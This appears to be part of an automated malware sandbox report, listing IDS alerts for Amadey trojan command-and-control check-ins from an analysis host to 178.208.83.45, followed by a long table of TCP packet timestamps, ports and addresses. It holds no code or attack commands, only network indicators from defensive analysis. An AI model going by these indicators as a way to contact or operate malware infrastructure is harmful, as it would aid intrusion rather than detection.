11/12/21-22:24:31.248144	TCP	2027700	ET TROJAN Amadey CnC Check-In	50183	80	192.168.2.4	178.208.83.45
11/12/21-22:24:31.405377	TCP	2027700	ET TROJAN Amadey CnC Check-In	50184	80	192.168.2.4	178.208.83.45
11/12/21-22:24:31.561638	TCP	2027700	ET TROJAN Amadey CnC Check-In	50185	80	192.168.2.4	178.208.83.45
11/12/21-22:24:31.716538	TCP	2027700	ET TROJAN Amadey CnC Check-In	50186	80	192.168.2.4	178.208.83.45
11/12/21-22:24:35.863840	TCP	2027700	ET TROJAN Amadey CnC Check-In	50188	80	192.168.2.4	178.208.83.45
11/12/21-22:24:40.021142	TCP	2027700	ET TROJAN Amadey CnC Check-In	50195	80	192.168.2.4	178.208.83.45
11/12/21-22:24:44.168960	TCP	2027700	ET TROJAN Amadey CnC Check-In	50214	80	192.168.2.4	178.208.83.45
11/12/21-22:24:48.314734	TCP	2027700	ET TROJAN Amadey CnC Check-In	50216	80	192.168.2.4	178.208.83.45
11/12/21-22:24:52.491757	TCP	2027700	ET TROJAN Amadey CnC Check-In	50218	80	192.168.2.4	178.208.83.45
11/12/21-22:24:53.657302	TCP	2027700	ET TROJAN Amadey CnC Check-In	50220	80	192.168.2.4	178.208.83.45
11/12/21-22:24:53.813380	TCP	2027700	ET TROJAN Amadey CnC Check-In	50221	80	192.168.2.4	178.208.83.45
11/12/21-22:24:53.960979	TCP	2027700	ET TROJAN Amadey CnC Check-In	50219	80	192.168.2.4	178.208.83.45
11/12/21-22:24:54.126594	TCP	2027700	ET TROJAN Amadey CnC Check-In	50222	80	192.168.2.4	178.208.83.45
11/12/21-22:24:54.300175	TCP	2027700	ET TROJAN Amadey CnC Check-In	50223	80	192.168.2.4	178.208.83.45
11/12/21-22:24:54.468603	TCP	2027700	ET TROJAN Amadey CnC Check-In	50224	80	192.168.2.4	178.208.83.45
11/12/21-22:24:55.674157	TCP	2027700	ET TROJAN Amadey CnC Check-In	50226	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.080648	TCP	2027700	ET TROJAN Amadey CnC Check-In	50227	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.267755	TCP	2027700	ET TROJAN Amadey CnC Check-In	50228	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.460183	TCP	2027700	ET TROJAN Amadey CnC Check-In	50229	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.625072	TCP	2027700	ET TROJAN Amadey CnC Check-In	50230	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.797413	TCP	2027700	ET TROJAN Amadey CnC Check-In	50231	80	192.168.2.4	178.208.83.45
11/12/21-22:24:56.983191	TCP	2027700	ET TROJAN Amadey CnC Check-In	50232	80	192.168.2.4	178.208.83.45
11/12/21-22:24:57.158143	TCP	2027700	ET TROJAN Amadey CnC Check-In	50233	80	192.168.2.4	178.208.83.45
11/12/21-22:24:57.405001	TCP	2027700	ET TROJAN Amadey CnC Check-In	50234	80	192.168.2.4	178.208.83.45
11/12/21-22:24:57.564311	TCP	2027700	ET TROJAN Amadey CnC Check-In	50235	80	192.168.2.4	178.208.83.45
11/12/21-22:24:57.739643	TCP	2027700	ET TROJAN Amadey CnC Check-In	50236	80	192.168.2.4	178.208.83.45
11/12/21-22:24:57.910067	TCP	2027700	ET TROJAN Amadey CnC Check-In	50237	80	192.168.2.4	178.208.83.45
11/12/21-22:24:58.079689	TCP	2027700	ET TROJAN Amadey CnC Check-In	50238	80	192.168.2.4	178.208.83.45
11/12/21-22:24:58.259755	TCP	2027700	ET TROJAN Amadey CnC Check-In	50239	80	192.168.2.4	178.208.83.45

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2021 22:23:06.708051920 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.730645895 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.730760098 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.731543064 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.754146099 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.754194975 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.754216909 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.754322052 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.790941000 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.791172028 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.791368961 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.791465998 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.813527107 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813689947 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813699961 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813757896 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813769102 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813792944 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.813813925 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.813874006 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.813898087 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836297989 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836319923 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836328030 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836337090 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836424112 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836433887 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836441994 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836507082 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836507082 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836538076 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836591959 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836605072 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836606979 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836628914 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.836698055 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.836723089 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.859056950 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.859085083 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.859129906 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.859149933 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.859266043 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.859302998 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.859316111 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.859323978 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862107992 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862135887 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862173080 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862201929 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862231016 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862261057 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862287045 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862313986 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862339020 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862373114 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862411976 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862431049 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.862457991 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.881750107 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.881773949 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.881894112 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.881936073 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.882091999 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.884496927 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.885345936 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.902679920 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.904484034 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.925129890 CET	80	49782	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.925226927 CET	49782	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.927021980 CET	80	49783	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.927161932 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.928394079 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:06.951143026 CET	80	49783	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.958736897 CET	80	49783	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:06.958889008 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.047933102 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.064618111 CET	80	49784	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.064835072 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.067578077 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.084086895 CET	80	49784	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.094263077 CET	80	49784	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.094923019 CET	49784	80	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.294545889 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.294606924 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.294831991 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.323609114 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.323637009 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.375261068 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.375368118 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.841463089 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.842559099 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.863900900 CET	80	49783	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.865159988 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.865720034 CET	49783	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.865803957 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.866349936 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.866434097 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.866624117 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.866744995 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.888586998 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.888598919 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.888674974 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.888816118 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.888892889 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.889095068 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.889848948 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.889859915 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.889874935 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.889883041 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.889967918 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.890017033 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.911640882 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.911654949 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.911935091 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.912337065 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912420034 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.912441969 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912451982 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912462950 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912508965 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912513018 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.912518024 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912548065 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.912549973 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.912580013 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.912617922 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.934226990 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934242964 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934308052 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934329033 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934434891 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.934747934 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934762001 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934811115 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934842110 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934895039 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934947014 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.934967041 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.935015917 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.935091972 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.935138941 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.935159922 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.935220003 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.938461065 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.938589096 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.938652992 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.938817978 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.938859940 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.956912994 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.956928015 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.957041979 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.957206011 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.960891008 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.960905075 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.960918903 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.960973978 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.960984945 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.961005926 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.961008072 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.961011887 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.961014032 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.961086035 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.961184978 CET	80	49786	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:07.962372065 CET	49786	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:07.966773033 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.966804028 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.967402935 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:07.967487097 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:07.970278978 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:08.012876987 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:08.135951042 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:08.136017084 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:08.136064053 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:08.136125088 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:08.138911963 CET	49785	443	192.168.2.4	162.159.129.233
Nov 12, 2021 22:23:08.138947010 CET	443	49785	162.159.129.233	192.168.2.4
Nov 12, 2021 22:23:08.320768118 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.343302011 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.343394041 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.344082117 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.344213009 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.344470024 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.344696999 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.366559982 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366645098 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366831064 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366858959 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366911888 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366941929 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.366966963 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367012978 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367077112 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367105007 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367120981 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367141008 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367153883 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367202044 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367207050 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367223978 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.367243052 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367283106 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.367300034 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389457941 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389492989 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389570951 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389585018 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389589071 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389604092 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389621973 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389633894 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389698029 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389707088 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389713049 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389734030 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389748096 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389765024 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389770985 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389827013 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389830112 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389875889 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389893055 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389905930 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389918089 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389935017 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389945030 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.389947891 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389961958 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.389967918 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.390010118 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.390027046 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.412204981 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412225962 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412249088 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412261009 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412277937 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412291050 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412306070 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412318945 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412333012 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.412360907 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412368059 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.412374973 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412383080 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:08.412394047 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412463903 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412480116 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412492990 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412542105 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412554026 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412651062 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412715912 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412760019 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412772894 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412790060 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412801981 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412817001 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412830114 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412859917 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412877083 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412925005 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412938118 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412952900 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.412966013 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413009882 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413022041 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413038015 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413058996 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413080931 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413095951 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413108110 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.413124084 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434745073 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434762955 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434788942 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434855938 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434869051 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434921026 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434938908 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.434950113 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.435134888 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.435216904 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.435331106 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.435415983 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.435429096 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.438146114 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:08.438240051 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.297147989 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.298824072 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.319670916 CET	80	49787	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.319840908 CET	49787	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.321158886 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.321254015 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.325980902 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.326134920 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.326395988 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.326632977 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.348371029 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348395109 CET	80	49788	178.208.83.45	192.168.2.4
